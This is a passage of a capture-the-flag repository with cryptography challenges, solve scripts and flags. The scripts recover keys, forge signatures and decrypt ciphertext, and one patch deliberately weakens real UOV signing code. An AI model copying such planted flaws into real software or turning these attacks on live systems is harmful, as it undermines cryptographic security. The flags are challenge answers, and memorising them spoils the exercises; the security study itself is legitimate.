EMAIL;type=INTERNET;type=WORK;type=pref:ryan.king@defund.io 28 | END:VCARD 29 | ``` 30 | 31 | Ryan King.zip can be cracked with a plaintext attack using a tool 32 | such as pkcrack. 33 | 34 | Ryan King's signature is the flag. -------------------------------------------------------------------------------- /ctfx/password/files.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/ctfx/password/files.zip -------------------------------------------------------------------------------- /ctfx/password/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(pl4intext_ZIP_4tt4ck) -------------------------------------------------------------------------------- /ctfx/password/statement.txt: -------------------------------------------------------------------------------- 1 | Defund Corp. has mandated that its employees must password protect their files. -------------------------------------------------------------------------------- /ctfx/pgp/flag.txt: -------------------------------------------------------------------------------- 1 | ctf(w1Ndows_7_pa$$word_fun?) -------------------------------------------------------------------------------- /ctfx/pgp/statement.txt: -------------------------------------------------------------------------------- 1 | defund was playing around with pgp keys. Decrypt his message from this memory dump. 2 | 3 | link: https://mega.nz/#!vI8whBwZ!qBpbiG8sXge1iRQsCrWg01cULngr01vNUkI5eciLOWg -------------------------------------------------------------------------------- /dicectf-2021/benaloh/benaloh.py: -------------------------------------------------------------------------------- 1 | from Crypto.Random.random import randrange 2 | from Crypto.Util.number import getPrime, GCD 3 | 4 | r = 17 5 | 6 | def keygen(): 7 | while True: 8 | p = getPrime(1024) 9 | a, b = divmod(p-1, r) 10 | if b == 0 and GCD(r, a) == 1: 11 | break 12 | while True: 13 | q = getPrime(1024) 14 | if GCD(r, q-1) == 1: 15 | break 16 | n = p*q 17 | phi = (p-1)*(q-1)//r 18 | y = 1 19 | while True: 20 | y = randrange(n) 21 | x = pow(y, phi, n) 22 | if x != 1: 23 | break 24 | log = {pow(x, i, n): i for i in range(r)} 25 | return (n, y), (n, phi, log) 26 | 27 | def encrypt(data, pk): 28 | n, y = pk 29 | u = randrange(n) 30 | a = randrange(n) 31 | c = randrange(n) 32 | for m in data.hex(): 33 | yield pow(y, int(m, 16), n) * pow(u, r, n) % n 34 | u = (a*u + c) % n 35 | 36 | def decrypt(data, sk): 37 | n, phi, log = sk 38 | return bytes.fromhex(''.join(f'{log[pow(z, phi, n)]:x}' for z in data)) 39 | 40 | if __name__ == '__main__': 41 | with open('flag.txt', 'rb') as f: 42 | flag = f.read().strip() 43 | 44 | pk, sk = keygen() 45 | print(pk) 46 | for z in encrypt(flag, pk): 47 | print(z) 48 | -------------------------------------------------------------------------------- /dicectf-2021/benaloh/flag.txt: -------------------------------------------------------------------------------- 1 | dice{gr:obner!_!} 2 | -------------------------------------------------------------------------------- /dicectf-2021/benaloh/solve.sage: -------------------------------------------------------------------------------- 1 | r = 17 2 | 3 | with open('out.txt') as f: 4 | n, y = eval(f.readline()) 5 | R = Integers(n) 6 | z = list(map(R, f.readlines())) 7 | 8 | y = R(y) 9 | log = {y^i: f'{i:x}' for i in range(r)} 10 | 11 | P. = PolynomialRing(R) 12 | 13 | G = [] 14 | f = u 15 | for i, m in enumerate(b'di'.hex()): 16 | G.append(f^r - z[i]/y^int(m, 16)) 17 | f = a*f + c 18 | 19 | B = Ideal(G).groebner_basis() 20 | print(B) 21 | 22 | flag = '' 23 | f = -B[1].monomial_coefficient(c)*c 24 | for i in range(len(z)): 25 | flag += log[z[i]/(f.monomial_coefficient(c)^r*-B[0].constant_coefficient())] 26 | f = -B[2].constant_coefficient()*f + c 27 | print(bytes.fromhex(flag)) 28 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/flag.txt: -------------------------------------------------------------------------------- 1 | dice{hello_world} 2 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/server.py: -------------------------------------------------------------------------------- 1 | import signal 2 | import socketserver 3 | from lwe import Key, n 4 | 5 | with open('public.key', 'rb') as f: 6 | key = Key.deserialize(f.read()) 7 | 8 | with open('flag.txt', 'rb') as f: 9 | flag = f.read() 10 | 11 | message = b'shep, the conqueror' 12 | 13 | class RequestHandler(socketserver.BaseRequestHandler): 14 | 15 | def handle(self): 16 | signal.alarm(10) 17 | self.request.sendall(b'signature? ') 18 | signature = self.request.recv(4*n) 19 | key.verify(message, signature) 20 | self.request.sendall(flag) 21 | 22 | class Server(socketserver.ForkingTCPServer): 23 | 24 | allow_reuse_address = True 25 | 26 | def handle_error(self, request, client_address): 27 | self.request.close() 28 | 29 | server = Server(('0.0.0.0', 3000), RequestHandler) 30 | server.serve_forever() 31 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/shake.py: -------------------------------------------------------------------------------- 1 | from random import Random, RECIP_BPF 2 | 3 | from Crypto.Hash import SHAKE128 4 | from Crypto.Util.number import bytes_to_long 5 | 6 | class ShakeRandom(Random): 7 | 8 | def __init__(self, data): 9 | self.shake = SHAKE128.new(data) 10 | self.gauss_next = None 11 | 12 | def random(self): 13 | return (bytes_to_long(self.shake.read(7)) >> 3) * RECIP_BPF 14 | 15 | def getrandbits(self, k): 16 | return bytes_to_long(self.shake.read((k + 7) // 8)) >> (-k % 8) 17 | -------------------------------------------------------------------------------- /dicectf-2021/signature-sheep-scheming-signature-schemes/solve.py: -------------------------------------------------------------------------------- 1 | from tqdm import tqdm 2 | from lwe import * 3 | 4 | with open('private.key', 'rb') as f: 5 | key = Key.deserialize(f.read()) 6 | 7 | def oracle(local=True): 8 | message = b'silly sheep' 9 | if local: 10 | while True: 11 | signature = key.sign(message) 12 | b, r = unpack(signature) 13 | c = gauss(random=ShakeRandom(pack(key.a, key.b, b) + message)) 14 | yield c, r 15 | else: 16 | with open('signatures.bin', 'rb') as f: 17 | while True: 18 | b, r = unpack(f.read(4*n)) 19 | c = gauss(random=ShakeRandom(pack(key.a, key.b, b) + message)) 20 | yield c, r 21 | 22 | query = oracle(local=False) 23 | lift = np.vectorize(lambda x: int(x)-q if q-x < x else int(x)) 24 | C, R = zip(*[next(query) for _ in tqdm(range(800))]) 25 | C = lift(np.transpose(np.hstack(C))) 26 | R = lift(np.transpose(np.hstack(R))) 27 | solution = np.linalg.lstsq(C, R, rcond=None)[0] 28 | S = -np.transpose(np.rint(solution)).astype(np.uint16) 29 | 30 | from pwn import * 31 | nc = remote('dicec.tf', 31614) 32 | key.s = S 33 | message = b'shep, the conqueror' 34 | nc.send(key.sign(message)) 35 | nc.interactive() 36 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/flag.txt: -------------------------------------------------------------------------------- 1 | dice{the_m1n1gun_4nd_f1shb0nes_the_r0ck3t_launch3r} 2 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from hashlib import shake_128 4 | 5 | # from Crypto.Util.number import getPrime 6 | # p = getPrime(1024) 7 | # q = getPrime(1024) 8 | # n = p*q 9 | n = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591 10 | T = 2**64 11 | 12 | def is_valid(x): 13 | return type(x) == int and 0 < x < n 14 | 15 | def encode(x): 16 | return x.to_bytes(256, 'big') 17 | 18 | def H(g, h): 19 | return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') 20 | 21 | def prove(g): 22 | h = g 23 | for _ in range(T): 24 | h = pow(h, 2, n) 25 | m = H(g, h) 26 | r = 1 27 | pi = 1 28 | for _ in range(T): 29 | b, r = divmod(2*r, m) 30 | pi = pow(pi, 2, n) * pow(g, b, n) % n 31 | return h, pi 32 | 33 | def verify(g, h, pi): 34 | assert is_valid(g) 35 | assert is_valid(h) 36 | assert is_valid(pi) 37 | assert g != 1 and g != n - 1 38 | m = H(g, h) 39 | r = pow(2, T, m) 40 | assert h == pow(pi, m, n) * pow(g, r, n) % n 41 | 42 | if __name__ == '__main__': 43 | g = int(input('g: ')) 44 | h = int(input('h: ')) 45 | pi = int(input('pi: ')) 46 | verify(g, h, pi) 47 | with open('flag.txt') as f: 48 | print(f.read().strip()) 49 | -------------------------------------------------------------------------------- /dicectf-2022/pow-pow/solve.py: -------------------------------------------------------------------------------- 1 | import gmpy2 2 | from pathlib import Path 3 | from tqdm import tqdm 4 | 5 | from server import * 6 | 7 | def get_backdoor(): 8 | path = Path('backdoor.txt') 9 | if path.is_file(): 10 | with path.open() as f: 11 | return gmpy2.mpz(f.read()) 12 | else: 13 | L = gmpy2.mpz(1) 14 | for p in range(1, 2**20): 15 | if p < 256 or gmpy2.is_prime(p): 16 | L *= p 17 | g = gmpy2.powmod(2, L, n) 18 | for i in tqdm(range(1000000)): 19 | m = H(int(g), 1) 20 | if gmpy2.gcd(L, m) == m: 21 | L <<= i 22 | with path.open('w') as f: 23 | f.write(str(L)) 24 | return L 25 | g = gmpy2.powmod(g, 2, n) 26 | 27 | L = get_backdoor() 28 | g = int(gmpy2.powmod(2, L, n)) 29 | h = 1 30 | m = H(g, h) 31 | r = pow(2, T, m) 32 | pi = int(gmpy2.powmod(2, -r*L//m, n)) 33 | verify(g, h, pi) 34 | 35 | print(f'g: {g}') 36 | print(f'h: {h}') 37 | print(f'pi: {pi}') 38 | -------------------------------------------------------------------------------- /dicectf-2022/psych/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/flag.enc -------------------------------------------------------------------------------- /dicectf-2022/psych/flag.txt: -------------------------------------------------------------------------------- 1 | dice{Pwn1ng_Sup3rs1ngul4r_Ys0geny_CH4ll3nge5} 2 | -------------------------------------------------------------------------------- /dicectf-2022/psych/pk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/pk.bin -------------------------------------------------------------------------------- /dicectf-2022/psych/sk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2022/psych/sk.bin -------------------------------------------------------------------------------- /dicectf-2023/seaside/csidh-latest.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/seaside/csidh-latest.tar.xz -------------------------------------------------------------------------------- /dicectf-2023/seaside/flag.txt: -------------------------------------------------------------------------------- 1 | dice{b0p_it_pul1_1t_6op_it_pull_1t_pu1l_1t_b0p_it} 2 | -------------------------------------------------------------------------------- /dicectf-2023/seaside/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.strxor import strxor 2 | from Crypto.Hash import SHAKE128 3 | from pwn import process, remote 4 | import struct 5 | 6 | def stream(buf, ss): 7 | pad = SHAKE128.new(bytes(ss)).read(len(buf)) 8 | return strxor(buf, pad) 9 | 10 | p = 0x65b48e8f740f89bf_fc8ab0d15e3e4c4a_b42d083aedc88c42_5afbfcc69322c9cd_a7aac6c567f35507_516730cc1f0b4f25_c2721bf457aca835_1b81b90533c6c87b 11 | 12 | K = GF(p) 13 | R. = K[] 14 | 15 | def load_coeff(buf): 16 | limbs = struct.unpack('<8Q', buf) 17 | return sum(x << (64*i) for i, x in enumerate(limbs)) 18 | 19 | def dump_coeff(coeff): 20 | coeff = int(coeff) 21 | limbs = [(coeff >> (64*i)) & 0xffffffffffffffff for i in range(8)] 22 | return struct.pack('<8Q', *limbs) 23 | 24 | def twist(A): 25 | E = EllipticCurve(K, [0, A, 0, 1, 0]) 26 | Et = E.quadratic_twist() 27 | a, b = Et.short_weierstrass_model().a_invariants()[-2:] 28 | r, = (t^3 + a*t + b).roots(multiplicities=False) 29 | s = sqrt(3*r^2 + a) 30 | return -3 * (-1)^is_square(s) * r / s 31 | 32 | nc = process(['python', 'server.py']) 33 | # nc = remote('mc.ax', 31336) 34 | 35 | nc.recvuntil(b'pub0: ') 36 | pub0 = bytes.fromhex(nc.recvline().decode()) 37 | nc.recvuntil(b'pub1: ') 38 | pub1 = bytes.fromhex(nc.recvline().decode()) 39 | 40 | A0 = load_coeff(pub0) 41 | A1 = load_coeff(pub1) 42 | 43 | mask = dump_coeff(0) 44 | nc.sendlineafter(b'mask: ', mask.hex()) 45 | 46 | nc.recvuntil(b'enc0: ') 47 | enc0 = bytes.fromhex(nc.recvline().decode()) 48 | nc.recvuntil(b'enc1: ') 49 | enc1 = bytes.fromhex(nc.recvline().decode()) 50 | 51 | ss0 = dump_coeff(twist(A0)) 52 | ss1 = dump_coeff(twist(A1)) 53 | msg0 = stream(enc0, ss0) 54 | msg1 = stream(enc1, ss1) 55 | flag = strxor(msg0, msg1) 56 | 57 | print(flag.decode()) 58 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/expand_sk_with_t1.diff: -------------------------------------------------------------------------------- 1 | diff --git a/src/ov_keypair.c b/src/ov_keypair.c 2 | index 7269725..b5aff7c 100644 3 | --- a/src/ov_keypair.c 4 | +++ b/src/ov_keypair.c 5 | @@ -145,6 +145,29 @@ int expand_sk( sk_t* sk, const unsigned char *pk_seed , const unsigned char *sk_ 6 | } 7 | 8 | 9 | +int expand_sk_with_t1( sk_t* sk, const unsigned char *pk_seed , const unsigned char *t1 ) 10 | +{ 11 | + memcpy( sk->pk_seed , pk_seed , LEN_PKSEED ); 12 | + memcpy( sk->t1 , t1 , sizeof(sk->t1) ); 13 | + 14 | + // prng for pk 15 | + prng_publicinputs_t prng1; 16 | + prng_set_publicinputs(&prng1 , pk_seed ); 17 | + // P1 18 | + prng_gen_publicinputs(&prng1, sk->P1 , sizeof(sk->P1) ); 19 | + // P2 20 | + prng_gen_publicinputs(&prng1, sk->L , sizeof(sk->L) ); 21 | + 22 | + // calcuate the parts of sk according to pk. 23 | +#if defined(_BLAS_M4F_) 24 | + ov_pkc_calculate_F_from_Q( sk ); 25 | +#else 26 | + calculate_F2( sk->L , sk->P1 , sk->L , sk->t1 ); 27 | +#endif 28 | + return 0; 29 | +} 30 | + 31 | + 32 | 33 | //////////////////////////////////////////////////////////////////////////////////// 34 | 35 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/flag.txt: -------------------------------------------------------------------------------- 1 | dice{m1x_M_v4rs_0f_o1L_and_N-M_var5_of_v1n3gar} 2 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/patch.diff: -------------------------------------------------------------------------------- 1 | diff --git a/Makefile b/Makefile 2 | index a30364c..925a568 100644 3 | --- a/Makefile 4 | +++ b/Makefile 5 | @@ -17,7 +17,7 @@ SRC_DIR = ./src 6 | UTIL_DIR = ./utils 7 | 8 | 9 | -CFLAGS := -O3 $(CFLAGS) -std=c11 -Wall -Wextra -Wpedantic -Werror -fno-omit-frame-pointer #-pg -g -fsanitize=address 10 | +CFLAGS := -O3 $(CFLAGS) -std=c11 -Wall -Wextra -Wpedantic -Werror -fno-omit-frame-pointer -fPIC #-pg -g -fsanitize=address 11 | CXXFLAGS := -O3 $(CPPFLAGS) -Wall -Wextra -fno-exceptions -fno-rtti -nostdinc++ 12 | INCPATH := -I/usr/local/include -I/opt/local/include -I/usr/include -I$(SRC_DIR) -I$(UTIL_DIR) 13 | LDFLAGS := $(LDFLAGS) #-fsanitize=address 14 | @@ -189,6 +189,10 @@ endif 15 | all: $(EXE) 16 | 17 | 18 | +libpqov.so: $(OBJ) 19 | + $(CC) -shared $(CFLAGS) $(INCPATH) -o $@ $^ $(LIBS) 20 | + 21 | + 22 | neon-matxvec-test: $(OBJ) neon-matxvec-test.o 23 | $(LD) $(LDFLAGS) $(LIBPATH) -o $@ $^ $(LIBS) 24 | 25 | diff --git a/src/ov.c b/src/ov.c 26 | index b62f3ca..0fd7e7f 100644 27 | --- a/src/ov.c 28 | +++ b/src/ov.c 29 | @@ -52,8 +52,8 @@ int ov_sign( uint8_t * signature , const sk_t * sk , const uint8_t * message , u 30 | // The computation: H(M||salt) --> y --C-map--> x --T--> w 31 | hash_init (&h_m_salt_secret); 32 | hash_update(&h_m_salt_secret, message, mlen); 33 | - hash_update(&h_m_salt_secret, salt, _SALT_BYTE); 34 | hash_ctx_copy(&h_vinegar_copy, &h_m_salt_secret); 35 | + hash_update(&h_m_salt_secret, salt, _SALT_BYTE); 36 | hash_final_digest( y , _PUB_M_BYTE , &h_m_salt_secret); // H(M||salt) 37 | 38 | hash_update(&h_vinegar_copy, sk->sk_seed, LEN_SKSEED ); // H(M||salt||sk_seed ... 39 | -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/pk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/pk.bin -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/pqov-paper.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/pqov-paper.tar.gz -------------------------------------------------------------------------------- /dicectf-2023/vinaigrette/sk.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-2023/vinaigrette/sk.bin -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/cfb_trivia.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | 3 | def encrypt(key, pt): 4 | cipher = AES.new(key, AES.MODE_CFB) 5 | ct = cipher.decrypt(pt) 6 | return cipher.iv + ct 7 | 8 | if __name__ == '__main__': 9 | import os 10 | 11 | with open('flag.txt', 'rb') as f: 12 | flag = f.read().strip() 13 | 14 | key = os.urandom(16) 15 | 16 | print(f'encrypted flag: {encrypt(key, flag).hex()}') 17 | while True: 18 | msg = bytes.fromhex(input('message: ')) 19 | print(f'encrypted message: {encrypt(key, msg).hex()}') 20 | -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/flag.txt: -------------------------------------------------------------------------------- 1 | dice{th1s_1s_a_Re4lly_l0n9_m3ss4ge_wh1ch_5pan5_m4ny_bl0cks_b9b40c6bb6de4b92} 2 | -------------------------------------------------------------------------------- /dicectf-finals-2024/cfb-trivia/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process 2 | 3 | io = process(['python', 'cfb_trivia.py']) 4 | 5 | io.recvuntil(b'encrypted flag: ') 6 | buf = bytes.fromhex(io.recvline().decode()) 7 | iv, ct = buf[:16], buf[16:] 8 | 9 | flag = iv 10 | for i in range(len(ct)): 11 | io.sendlineafter(b'message: ', (flag[-16:] + ct[i:i+1]).hex().encode()) 12 | io.recvuntil(b'encrypted message: ') 13 | buf = bytes.fromhex(io.recvline().decode()) 14 | flag += buf[-1:] 15 | 16 | print(flag[16:]) 17 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/README.md: -------------------------------------------------------------------------------- 1 | # Mental Poker 2 | 3 | ## Installation 4 | Install dependencies with `python -m pip install -r requirements.txt`. 5 | 6 | ## Running the client 7 | You will receive a token from us close to 11am. In `client.py`, replace `ROOT` with `http://mental-poker.mc.ax:8080` and `TOKEN` with your token. Run the client with `python -m client.main`. 8 | 9 | ## 10am release 10 | * `client/` 11 | * `game/base.py` 12 | * `scripts/stress_test.py` 13 | * `README.md` 14 | * `requirements.txt` 15 | 16 | ## 11am release 17 | * Additional protocol logic, in the `game/` folder 18 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/client/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from game.monte import MonteGuesser, MonteSetter 4 | from .client import PokerClient 5 | 6 | ROOT = 'http://localhost:8080' 7 | TOKEN = os.environ.get('TOKEN', None) 8 | 9 | assert TOKEN is not None 10 | 11 | client = PokerClient(MonteGuesser, MonteSetter, ROOT, TOKEN) 12 | client.run() 13 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "nixpkgs": { 4 | "locked": { 5 | "lastModified": 1719075281, 6 | "narHash": "sha256-CyyxvOwFf12I91PBWz43iGT1kjsf5oi6ax7CrvaMyAo=", 7 | "owner": "nixos", 8 | "repo": "nixpkgs", 9 | "rev": "a71e967ef3694799d0c418c98332f7ff4cc5f6af", 10 | "type": "github" 11 | }, 12 | "original": { 13 | "owner": "nixos", 14 | "ref": "nixos-unstable", 15 | "repo": "nixpkgs", 16 | "type": "github" 17 | } 18 | }, 19 | "root": { 20 | "inputs": { 21 | "nixpkgs": "nixpkgs" 22 | } 23 | } 24 | }, 25 | "root": "root", 26 | "version": 7 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | inputs.nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; 3 | 4 | outputs = { self, nixpkgs }: 5 | let 6 | inherit (nixpkgs) lib; 7 | systems = lib.systems.flakeExposed; 8 | eachDefaultSystem = f: builtins.foldl' lib.attrsets.recursiveUpdate { } 9 | (map f systems); 10 | in 11 | eachDefaultSystem (system: 12 | let 13 | pkgs = nixpkgs.legacyPackages.${system}; 14 | in 15 | { 16 | devShells.${system}.default = pkgs.mkShellNoCC { 17 | packages = [ 18 | pkgs.python312 19 | pkgs.python312Packages.aiohttp 20 | pkgs.python312Packages.fastecdsa 21 | pkgs.python312Packages.pycryptodome 22 | pkgs.python312Packages.requests 23 | ]; 24 | }; 25 | } 26 | ); 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/base.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | 3 | 4 | class Game(ABC): 5 | 6 | @classmethod 7 | @abstractmethod 8 | def check(cls, transcript: list[str]) -> tuple[bool, str]: 9 | ''' 10 | Determines the winner of a complete transcript. 11 | Returns False if guesser wins or True if setter 12 | wins, along with a reason. 13 | ''' 14 | pass 15 | 16 | class Alice(ABC): 17 | 18 | @abstractmethod 19 | def first_message(self) -> str: 20 | ''' 21 | Computes the guesser's first message. 22 | ''' 23 | pass 24 | 25 | @abstractmethod 26 | def second_message(self, transcript: tuple[str, str]) -> str: 27 | ''' 28 | Computes the guesser's second message based on its 29 | current state and a partial transcript. 30 | ''' 31 | pass 32 | 33 | def cheated(self, transcript: tuple[str, str, str, str]): 34 | ''' 35 | Checks if the setter cheated based on the full transcript. 36 | ''' 37 | del transcript 38 | return False 39 | 40 | class Bob(ABC): 41 | 42 | @abstractmethod 43 | def first_response(self, transcript: tuple[str]) -> str: 44 | ''' 45 | Computes the setter's first response based on the partial transcript. 46 | ''' 47 | pass 48 | 49 | @abstractmethod 50 | def second_response(self, transcript: tuple[str, str, str]) -> str: 51 | ''' 52 | Computes the setter's second response based on the partial transcript. 53 | ''' 54 | pass 55 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/card.py: -------------------------------------------------------------------------------- 1 | from random import SystemRandom 2 | 3 | from fastecdsa.point import Point 4 | 5 | from .params import curve 6 | 7 | random = SystemRandom() 8 | 9 | 10 | class Card: 11 | def __init__(self, P, Q): 12 | self.P = P 13 | self.Q = Q 14 | 15 | @classmethod 16 | def new(cls, value): 17 | return cls(Point.IDENTITY_ELEMENT, value) 18 | 19 | 20 | class Shuffle: 21 | def __init__(self, perm, masks): 22 | self.perm = perm 23 | self.masks = masks 24 | 25 | @classmethod 26 | def random(cls, n): 27 | perm = random.sample(range(n), k=n) 28 | masks = [random.randrange(curve.q) for _ in range(n)] 29 | return cls(perm, masks) 30 | 31 | def __sub__(self, other): 32 | perm = [other.perm.index(x) for x in self.perm] 33 | masks = [(r1 - r2) % curve.q for r1, r2 in zip(self.masks, map(other.masks.__getitem__, perm))] 34 | return Shuffle(perm, masks) 35 | 36 | def apply(self, pub, cards, curve=curve): 37 | return [Card(c.P + r * curve.G, c.Q + r * pub) for c, r in zip(map(cards.__getitem__, self.perm), self.masks)] 38 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/mix.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import json 3 | from multiprocessing import Pool 4 | 5 | from Crypto.Hash import SHAKE128 6 | 7 | from .card import Shuffle 8 | from .params import curve, MIX_BIT_SECURITY, WORKERS 9 | 10 | def slow_apply(shuffles, pub, decks): 11 | return [Shuffle.apply(shuffle, pub, deck, curve) for shuffle, deck in zip(shuffles, decks)] 12 | 13 | def fast_apply(shuffles, pub, decks): 14 | with Pool(WORKERS) as p: 15 | return p.starmap(Shuffle.apply, [(shuffle, pub, deck, curve) for shuffle, deck in zip(shuffles, decks)]) 16 | 17 | def hash_to_chall(pub, old, new, tmps): 18 | points = [pub] 19 | for card in itertools.chain(old, new, *tmps): 20 | points.append(card.P) 21 | points.append(card.Q) 22 | shake = SHAKE128.new() 23 | shake.update(json.dumps([(P.x, P.y) for P in points]).encode()) 24 | bits = int.from_bytes(shake.read((MIX_BIT_SECURITY + 7) // 8), 'big') 25 | return [bool((bits >> i) & 1) for i in range(MIX_BIT_SECURITY)] 26 | 27 | def mix_and_prove(pub, old, par=True): 28 | snew = Shuffle.random(len(old)) 29 | new = snew.apply(pub, old) 30 | stmps = [Shuffle.random(len(old)) for _ in range(MIX_BIT_SECURITY)] 31 | tmps = (fast_apply if par else slow_apply)(stmps, pub, itertools.repeat(old)) 32 | chall = hash_to_chall(pub, old, new, tmps) 33 | shuffles = [s if c else s - snew for c, s in zip(chall, stmps)] 34 | return new, (chall, shuffles) 35 | 36 | def verify(pub, old, new, proof, par=True): 37 | chall, shuffles = proof 38 | tmps = (fast_apply if par else slow_apply)(shuffles, pub, [old if c else new for c in chall]) 39 | assert chall == hash_to_chall(pub, old, new, tmps) 40 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/params.py: -------------------------------------------------------------------------------- 1 | import fastecdsa.curve 2 | 3 | curve = fastecdsa.curve.P256 4 | MIX_BIT_SECURITY = 64 5 | 6 | WORKERS = 4 7 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/game/reveal.py: -------------------------------------------------------------------------------- 1 | import json 2 | from random import SystemRandom 3 | 4 | from Crypto.Hash import SHAKE128 5 | import fastecdsa.keys 6 | 7 | from .params import curve 8 | 9 | random = SystemRandom() 10 | 11 | def hash_to_chall(points): 12 | shake = SHAKE128.new() 13 | shake.update(json.dumps([(P.x, P.y) for P in points]).encode()) 14 | return fastecdsa.keys.gen_private_key(curve, randfunc=shake.read) 15 | 16 | def cp_prove(Gs, Hs, x): 17 | r = random.randrange(curve.q) 18 | As = [r * G for G in Gs] 19 | c = hash_to_chall(As) 20 | y = (x * c + r) % curve.q 21 | return c, y 22 | 23 | def cp_verify(Gs, Hs, proof): 24 | c, y = proof 25 | As = [y * G - c * H for G, H in zip(Gs, Hs)] 26 | assert c == hash_to_chall(As) 27 | 28 | def reveal_and_prove(card, pub, priv): 29 | share = priv * card.P 30 | proof = cp_prove([curve.G, card.P], [pub, share], priv) 31 | return share, proof 32 | 33 | def verify(card, pub, share, proof): 34 | cp_verify([curve.G, card.P], [pub, share], proof) 35 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp 2 | fastecdsa 3 | pycryptodome 4 | requests 5 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/scripts/stress_test.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Pool 2 | import random 3 | import time 4 | 5 | import fastecdsa.curve 6 | 7 | curve = fastecdsa.curve.P256 8 | 9 | ''' 10 | The goal of this script is to make sure that your machine is powerful enough 11 | to run the client script. Set WORKERS to be roughly the number of cores on 12 | your machine. delta should be comfortably less than 30 seconds. On my M1 Pro, 13 | delta is ~6 seconds with WORKERS = 4. 14 | 15 | When you receive the game logic code, update game/params.py to use the same 16 | WORKERS constant. 17 | ''' 18 | 19 | WORKERS = 4 20 | 21 | def foo(r): 22 | P = r * curve.G 23 | Q = r * P 24 | return P + Q 25 | 26 | if __name__ == '__main__': 27 | NGAMES = 88 28 | start = time.time() 29 | for _ in range(NGAMES): 30 | with Pool(WORKERS) as p: 31 | p.map(foo, [random.randrange(0, curve.q) for i in range(128)]) 32 | end = time.time() 33 | print(f'delta: {end - start}') 34 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/main.py: -------------------------------------------------------------------------------- 1 | from aiohttp import web 2 | from .server import static 3 | 4 | from .routes.game import game_route 5 | from .routes.public import public_route 6 | 7 | 8 | def make_app(): 9 | app = web.Application(client_max_size=16 * 1024 * 1024) 10 | app.add_routes(game_route.routes()) 11 | app.add_routes(public_route.routes()) 12 | app.add_routes([static("static")]) 13 | return app 14 | 15 | 16 | web.run_app(make_app()) 17 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/routes/public.py: -------------------------------------------------------------------------------- 1 | import time 2 | from dataclasses import dataclass 3 | from ..state import game 4 | from ..server import JsonApiRouter, RouteException 5 | 6 | 7 | @dataclass 8 | class PublicRequest: 9 | set_id: int 10 | game_id: int 11 | round_id: int 12 | remaining: int 13 | data: dict 14 | 15 | 16 | async def public_handler(request) -> PublicRequest: 17 | if request.method == "POST": 18 | data = await request.json() 19 | else: 20 | data = request.query 21 | 22 | try: 23 | ( 24 | set_id, 25 | game_id, 26 | round_id, 27 | remaining, 28 | 